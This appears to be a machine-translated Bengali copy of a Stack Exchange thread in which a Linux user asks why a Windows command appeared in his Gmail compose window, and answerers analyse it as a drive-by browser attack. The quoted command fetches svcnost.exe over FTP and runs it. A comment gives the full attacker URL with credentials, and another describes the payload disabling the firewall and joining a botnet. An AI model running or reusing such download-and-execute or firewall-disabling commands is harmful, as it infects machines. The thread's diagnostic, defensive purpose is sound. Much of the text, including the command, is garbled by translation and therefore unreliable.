আমার লিনাক্স কম্পিউটার হ্যাক হয়েছিল কিনা তা কীভাবে সনাক্ত করবেন?


128

আমার বাড়ির পিসি সাধারণত চালু থাকে, তবে মনিটরটি বন্ধ থাকে। এই সন্ধ্যায় আমি কাজ থেকে বাড়িতে এসে হ্যাকের প্রচেষ্টার মতো দেখতে দেখতে পেয়েছি: আমার ব্রাউজারে, আমার জিমেইল খোলা ছিল (এটি আমি ছিল), তবে TOক্ষেত্রের সাথে এটি রচনা মোডে ছিল :

এমডি / সি ইকো ওপেন সিসিটিএফএফটিপি.ইআই.আর.আর 21 21 >> আইকি এবং ইকো ব্যবহারকারী সিসিটিএ্যাম 10765824 >> আইকি এবং ইকো বাইনারি >> আইকি এবং ইকো এসভিসিএনস্ট.এক্সে >> আইকি এবং ইকো বাই পাবেন >> আইকি এবং এফটিপি-এন-ভি-এস: আইকি ও ডেল আইকে & svcnost.exe এবং প্রস্থান প্রতিধ্বনি আপনার মালিকানা পেয়েছে

এটি আমার কাছে উইন্ডোজ কমান্ড লাইন কোডের মতো দেখায়, এবং mdকোডটির শুরুটি জিমেইল রচনা মোডে ছিল এমনটি মিলিয়ে স্পষ্ট করে দেয় যে কেউ cmdকমান্ড চালানোর চেষ্টা করেছিল । আমি অনুমান করি আমি ভাগ্যবান যে আমি এই পিসিতে উইন্ডোজ চালিত করি না, তবে আমার অন্যরাও আছে। আমার সাথে এই প্রথম এমন ঘটনা ঘটল। আমি লিনাক্স গুরু নই, এবং আমি তখন ফায়ারফক্স বাদে অন্য কোনও প্রোগ্রাম চালাচ্ছিলাম না।

আমি পুরোপুরি নিশ্চিত যে আমি এটি লিখিনি, এবং আমার কম্পিউটারে অন্য কেউ শারীরিকভাবে ছিল না। এছাড়াও, আমি সম্প্রতি আমার গুগল পাসওয়ার্ড (এবং আমার সমস্ত অন্যান্য পাসওয়ার্ড) এর মতো কিছুতে পরিবর্তন করেছি vMA8ogd7bvযাতে আমার মনে হয় না যে কেউ আমার গুগল অ্যাকাউন্ট হ্যাক করেছে।

এটা ঠিক কি ঘটল? যখন গ্রানির পুরানো উইন্ডোজ মেশিনটি বছরের পর বছর ধরে ম্যালওয়্যার চালাচ্ছে না, তবে একটি সাম্প্রতিক নতুন উবুন্টু ইনস্টল করবেন তখন কেউ কীভাবে আমার কম্পিউটারে কীস্ট্রোক লাগান?

আপডেট:
আমাকে কিছু বিষয় এবং প্রশ্নগুলিতে সম্বোধন করতে দিন:

  • আমি অস্ট্রিয়া, গ্রামাঞ্চলে। আমার ডাব্লুএলএএন রাউটার ডাব্লুপিএ 2 / পিএসকে এবং একটি মাঝারি-শক্তিশালী পাসওয়ার্ড চালায় যা অভিধানে নেই; নিষ্ঠুর শক্তি এবং এখান থেকে 50 মিটার কম হতে হবে; সম্ভবত এটি হ্যাক হয়ে গেছে।
  • আমি একটি ইউএসবি তারযুক্ত কীবোর্ড ব্যবহার করছি, তাই আবার খুব কমই সম্ভাবনা থাকে যে কেউ এটি হ্যাক করার জন্য সীমার মধ্যে থাকতে পারে।
  • আমি তখন আমার কম্পিউটার ব্যবহার করছিলাম না; আমি যখন কর্মক্ষেত্রে ছিলাম তখন এটি কেবল ঘরে বসে ছিল। এটি একটি মনিটর মাউন্ট করা নেটটপ পিসি, তাই আমি খুব কমই এটিকে বন্ধ করি।
  • মেশিনটি মাত্র দুই মাস পুরানো, কেবল উবুন্টু চালায়, এবং আমি অদ্ভুত সফ্টওয়্যার ব্যবহার করছি না বা অদ্ভুত সাইটগুলি পরিদর্শন করছি না। এটি মূলত স্ট্যাক এক্সচেঞ্জ, জিমেইল এবং সংবাদপত্রগুলি। গেমস নেই। উবুন্টু নিজেকে আপ টু ডেট রাখার জন্য প্রস্তুত।
  • আমি কোনও ভিএনসি পরিষেবা চালু সম্পর্কে সচেতন নই; আমি অবশ্যই একটি ইনস্টল বা সক্ষম করে নি। আমি অন্য কোনও সার্ভারও শুরু করি নি। আমি নিশ্চিত না যে ডিফল্টরূপে কেউ উবুন্টুতে চলছে কিনা?
  • আমি Gmail এর অ্যাকাউন্ট ক্রিয়াকলাপের সমস্ত আইপি ঠিকানা জানি। আমি মোটামুটি নিশ্চিত যে গুগল কোনও প্রবেশপথ নয়।
  • আমি একটি লগ ফাইল দর্শক পেয়েছি , তবে কী সন্ধান করতে হবে তা আমি জানি না। সাহায্য?

আমি যা জানতে চাই তা হল এবং যা আমাকে সত্যই অনিরাপদ বোধ করে তা হ'ল: কীভাবে ইন্টারনেট থেকে কেউ আমার মেশিনে কীস্ট্রোক উত্পন্ন করতে পারে? এটি সম্পর্কে সমস্ত টিনফয়েল-টুপি না করে কীভাবে আমি তা প্রতিরোধ করতে পারি? আমি লিনাক্স গিখ নই, আমি এমন একজন বাবা যিনি 20+ বছর ধরে উইন্ডোজটির সাথে গণ্ডগোল পেলেন এবং এতে ক্লান্ত হয়ে পড়েছিলেন। এবং অনলাইনে থাকার 18+ বছরের সমস্ত ক্ষেত্রে আমি ব্যক্তিগতভাবে কোনও হ্যাক প্রচেষ্টা দেখিনি, তাই এটি আমার কাছে নতুন।


4
আপনার কম্পিউটারে অন্য কারও অ্যাক্সেস রয়েছে, নাকি আপনার কাছে খুব পুরানো ওয়্যারলেস কীবোর্ড রয়েছে? এছাড়াও, উবুন্টুর একটি অন্তর্নির্মিত ভিএনসি সার্ভার রয়েছে। যদি এটি সক্রিয় থাকে তবে কোথাও একটি এলোমেলো স্ক্রিপ্ট সংযুক্ত হতে পারে এবং ধরে নেওয়া
যেত

29
@torbengb: আপনার পোস্ট সত্যিই আমার ভয় পাই ...
Mehrdad

9
আপনার ওয়্যারলেস নেটওয়ার্কে অন্য কোনও কম্পিউটার রয়েছে? যদি অনুপ্রবেশকারী তাদের সুরক্ষা ভঙ্গ করে তবে এটি তাকে আপনার স্থানীয় নেটওয়ার্কে "ইন" দেবে, যা উবুন্টু বাক্সকে বিভিন্ন উপায়ে ক্র্যাক করতে পারে।
কার্লএফ

4
@ মন্টু ... এবং আমি নিশ্চিত যে আপনি এটি কোথাও লিখেছেন নি এবং সেগুলি পরিচালনা করতে কোনও অ্যাপ ব্যবহার করেন না, তাই না? আসুন পাসওয়ার্ড-বাশিং শুরু করি না; কমপক্ষে আমার পাসওয়ার্ডটি নয় password:-)
টোরবেন গুন্ডটোফট-ব্রুন 8

6
আপনি একটি বিড়াল আছে?
জাকি

উত্তর:


66

আমি সন্দেহ করি আপনার উদ্বেগের কিছু আছে। এটি সম্ভবত জাভাস্ক্রিপ্ট আক্রমণ থেকে বেশি ছিল যা ডাউনলোড করে একটি ড্রাইভ করার চেষ্টা করেছিল । আপনি যদি উদ্বেগ নিয়ে থাকেন তবে নোস্ক্রিপ্ট এবং অ্যাডব্লক প্লাস ফায়ারফক্স অ্যাড-অন ব্যবহার শুরু করুন।

এমনকি বিশ্বাসযোগ্য সাইটগুলি পরিদর্শন করা আপনি নিরাপদ না কারণ তারা তৃতীয় পক্ষের বিজ্ঞাপনদাতাদের জাভাস্ক্রিপ্ট কোড চালায় যা দূষিত হতে পারে।

আমি এটি ধরে একটি ভিএম এ চালিয়েছি ran এটি মাইক্র ইনস্টল করেছে এবং এটি স্ট্যাটাস লগ ... http://pastebin.com/Mn85akMk

এটি একটি স্বয়ংক্রিয় আক্রমণ যা আপনাকে এমআইআরসি ডাউনলোড করতে এবং একটি বোটনেটে যোগ দেওয়ার চেষ্টা করছে যা আপনাকে স্প্যামবটে পরিণত করবে ... এতে আমার ভিএম যোগ দিয়েছিল এবং এর মধ্যে একটির বিভিন্ন দূরবর্তী ঠিকানাগুলির সাথে একটি সংযোগ তৈরি করেছিল autoemail-119.west320.com

উইন্ডোজ 7 এ এটি চালানোর জন্য আমাকে ইউএসি প্রম্পটটি গ্রহণ করতে হয়েছিল এবং ফায়ারওয়ালের মাধ্যমে এটি অ্যাক্সেসের অনুমতি দিতে হয়েছিল।

অন্যান্য ফোরামে এই নির্ভুল কমান্ডের প্রচুর প্রতিবেদন আছে বলে মনে হয় এবং কেউ কেউ এমনকি বলে যে কোনও টরেন্ট ফাইল ডাউনলোড করার পরে এটি কার্যকর করার চেষ্টা করেছিল ... তবে কীভাবে এটি সম্ভব হবে তা আমি নিশ্চিত নই।

আমি এটি নিজে ব্যবহার করি নি তবে এটি আপনাকে বর্তমান নেটওয়ার্ক সংযোগগুলি দেখাতে সক্ষম হওয়া উচিত যাতে আপনি আদর্শের বাইরে কোনও কিছুর সাথে সংযুক্ত আছেন কিনা তা আপনি দেখতে পারেন: http://netactview.sourceforge.net/download.html


10
হ্যাঁ, কেন সমস্ত মন্তব্য (এমনকি অত্যন্ত অত্যন্ত প্রাসঙ্গিক এমনকি এটি আবিষ্কার করে যে স্ক্রিপ্টটি cmdউইন্ডো খোলার চেষ্টা করেছিল ) মুছে ফেলা হয়েছিল !?
ব্লুরাজা - ড্যানি পিফ্লুঘুফুট

আমি যদি কেবল ইউব্লক অরিজিন ব্যবহার শুরু করি তবে আমি কি এই ধরণের আক্রমণ থেকে ঠিক নিরাপদ থাকতে পারি?
রোবটউন্ডারস্কোর

42

আমি @ jb48394 এর সাথে একমত হয়েছি যে এটি সম্ভবত একটি জাভাস্ক্রিপ্টের শোষণ, আজকালকার সমস্ত কিছুর মতো।

সত্য যে এটি একটি cmdউইন্ডো খোলার চেষ্টা করেছিল ( @ টরবেনজিবের মন্তব্য দেখুন ) এবং ব্যাকগ্রাউন্ডে বিস্মৃতভাবে ট্রোজান ডাউনলোড করার পরিবর্তে একটি দূষিত কমান্ড চালানোর চেষ্টা করেছে যে এটি ফায়ারফক্সে কিছুটা দুর্বলতা কাজে লাগিয়েছে যা এটি কী-স্ট্রোকগুলিতে প্রবেশ করার অনুমতি দেয়, তবে কোড চালান না।

এটি ব্যাখ্যা করে যে এই শোষণটি, যা উইন্ডোজের জন্য স্পষ্টভাবে লেখা ছিল , লিনাক্সেও কাজ করবে: ফায়ারফক্স সমস্ত ওএস- তে একইভাবে জাভাস্ক্রিপ্ট চালায় (কমপক্ষে, এটি চেষ্টা করে :)) । এটি যদি উইন্ডোজের জন্য বাফার-ওভারফ্লো বা অনুরূপ শোষণের কারণে ঘটে থাকে তবে এটি কেবল প্রোগ্রামটি ক্র্যাশ করবে।

জাভাস্ক্রিপ্ট কোডটি কোথা থেকে এসেছে - সম্ভবত একটি দূষিত গুগল বিজ্ঞাপন (সারা দিন জিমেইলে বিজ্ঞাপন চক্র) । এটা তোলে না হতে প্রথম সময়


4
ভাল রেফারেন্স।
kizzx2

9
স্কিমারদের জন্য এফওয়াইআই, এটির শেষ "লিঙ্ক" আসলে পাঁচটি পৃথক লিঙ্ক।
পোষ্টগুলি

এটি সত্যিই একটি জাভাস্ক্রিপ্টের শোষণ যদি আমার ফায়ারফক্স সাধারণত কয়েক দিন ধরে খোলা থাকে তবে এটি বেশ হতবাক হবে। তবে উইন্ডোজের অধীনে অন্য সিস্টেমে কীগুলি প্রেরণের জন্য আপনাকে বিশেষ এপিআই কল করতে হবে এবং লিনাক্সের অধীনে সম্ভবত একটি ভিন্ন সিস্টেম কল (যদি বিদ্যমান থাকে)। যেহেতু কীস্ট্রোক প্রেরণ কোনও সাধারণ জাভাস্ক্রিপ্ট ক্রিয়াকলাপ নয়, তাই আমি সন্দেহ করি যে ফায়ারফক্স তার জন্য একটি ক্রস-প্ল্যাটফর্ম কল বাস্তবায়ন করবে।
बिलকন.এন

1
@ বিলসিএএনএন: আমি বিশ্বাস করি PS / 2 কীবোর্ড বাফারে লিখতে অপারেটিং সিস্টেম নির্বিশেষে একই কাজ করে
ব্লুরাজা - ড্যানি পিফ্লুঘুফুট

12

আমি অন্য একটি লিনাক্স মেশিনে অনুরূপ আক্রমণ পেয়েছি । দেখে মনে হচ্ছে এটি উইন্ডোজের জন্য একরকম এফটিপি কমান্ড।


8
আরও স্পষ্টভাবে, এটি ডাউনলোড ftp://ccteam10:765824@cCTeamFtp.yi.org/svcnost.exeকরে এবং উইন্ডোজ ftpকমান্ড-লাইন সরঞ্জামটি ব্যবহার করে ফাইলটি চালায় ।
মাধ্যাকর্ষণ

এটা pastebin খুব পাওয়া pastebin.com/FXwRpKH4
শেখর

এখানে সাইট সম্পর্কে তথ্য এখানে whois.domaintools.com/216.210.179.67
শেখর

9
এটি একটি উইনআর এসএফএক্স প্যাকেজ যার মধ্যে একটি পোর্টেবল এমআইআরসি ইনস্টল রয়েছে এবং "ড্রাইভারআউপিডেট.এক্সই" নামে একটি ফাইল রয়েছে। DriverUpdate.exe, executes (অন্তত) দুই শেল কমান্ড: netsh ফায়ারওয়াল সেট opmode অক্ষম এবং taskkill / এফ / আইএম VCSPAWN.EXE / টি এটি চেষ্টা (আমার ধারণা) যোগ করার die-freesms-seite.com ইন্টারনেট এক্সপ্লোরার থেকে জোন বিশ্বস্ত এবং প্রক্সি বাইপাস।
অ্যান্ড্রু ল্যামবার্ট

5

এটি আপনার পুরো প্রশ্নের উত্তর দেয় না, তবে লগ ফাইলের জন্য ব্যর্থ লগনের প্রয়াসের সন্ধান করে।

যদি আপনার লগ এ প্রায় পাঁচটিরও বেশি ব্যর্থ প্রচেষ্টা থাকে তবে কেউ ক্র্যাক করার চেষ্টা করেছিল root। আপনি যদি rootকম্পিউটার থেকে দূরে থাকাকালীন লগইন করার সফল চেষ্টা করে থাকেন তবে অবিলম্বে আপনার পাসওয়ার্ড পরিবর্তন করুন !! মানে এখনই রাইট! প্রাথমিকভাবে কিছু বর্ণানুক্রমিক এবং প্রায় 10 অক্ষর দীর্ঘ।

আপনি যে বার্তাগুলি পেয়েছেন ( echoকমান্ডগুলি) দিয়ে এটি সত্যিই কিছু অপরিণত স্ক্রিপ্ট কিডির মতো শোনাচ্ছে । যদি এটি আসল হ্যাকার হয়ে থাকেন তবে তিনি জানেন যে তিনি কী করছেন, আপনি সম্ভবত এখনও এটি সম্পর্কে জানেন না।


2
আমি সম্মত এটি স্পষ্টতই অপেশাদার ছিল। অন্তত তারা করা আছে করা উচিত নয় প্রতিধ্বনি আপনি মালিকানাধীন করে থাকেন শেষে। আমাকে অবাক করে তোলে কোনও "সত্যিকারের হ্যাকার" কখনই পেরেছে? অথবা সত্যিই আমি জিজ্ঞাসা করা উচিত, কত?
টরবেন গুন্ডটোফট-ব্রুন

1
@ অর্টজেংবি: উইন্ডোজ কমান্ড প্রম্পটে যদি কমান্ডটি চালানো হত তবে আপনি প্রতিধ্বনিটি দেখতে পেতেন না (কারণ এটি &exit)
ব্লুরাজা - ড্যানি পিফ্লুঘুফ্ট

-1

whois পশ্চিম320.com মাইক্রোসফ্টের মালিকানাধীন প্রতিবেদন করেছে।

UPnP এবং Vino (সিস্টেম -> পছন্দ -> রিমোট ডেস্কটপ) দুর্বল উবুন্টু পাসওয়ার্ডের সাথে মিলিত?

আপনি কি কোনও মানহীন সংগ্রহস্থল ব্যবহার করেছেন?

DEF CON এর প্রতিবছর একটি Wi-Fi প্রতিযোগিতা রয়েছে যেখানে কোনও Wi-Fi অ্যাক্সেস পয়েন্টটি কত দূরে পৌঁছানো যায় - সর্বশেষ আমি শুনেছি এটি 250 মাইল ছিল।

আপনি যদি সত্যিই ভয় পেতে চান তবে জিউস বটনেটের কমান্ড-এন-নিয়ন্ত্রণ কেন্দ্রের স্ক্রিনশটগুলি দেখুন । কোনও মেশিন নিরাপদ নয়, তবে লিনাক্সে ফায়ারফক্স বাকীগুলির চেয়ে নিরাপদ। আরও ভাল, যদি আপনি সেলইনাক্স চালান ।


1
এই শোষণের লেখকের স্পষ্টতই এটি লিনাক্সে চালানোর কোনও উদ্দেশ্য ছিল না, তাই আমি সন্দেহ করি যে এটি একটি ঝুঁকির জিনোম ইউটিলিটি বা একটি দুর্বল পাসওয়ার্ডের সাথে কিছু ছিল (এটিও ওপি ইতিমধ্যে উল্লেখ করেছে যে তার একটি সুরক্ষিত পাসওয়ার্ড রয়েছে)
ব্লুরাজা - ড্যানি পিফ্লুঘুফ্ট

আসলে, তিনি উবুন্টু পাসওয়ার্ড, কেবল একটি জিমেইল এবং ওয়্যারলেস পাসফ্রেজ থাকার কথা উল্লেখ করেন না। মেটাস্পপ্লিট চালানো একটি বাচ্চা লিনাক্স সম্পর্কে এমনকি জানেন না, তিনি কেবল ভিএনসি দেখেন। এটি সম্ভবত জাভাস্ক্রিপ্ট আক্রমণ attack
rjt
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.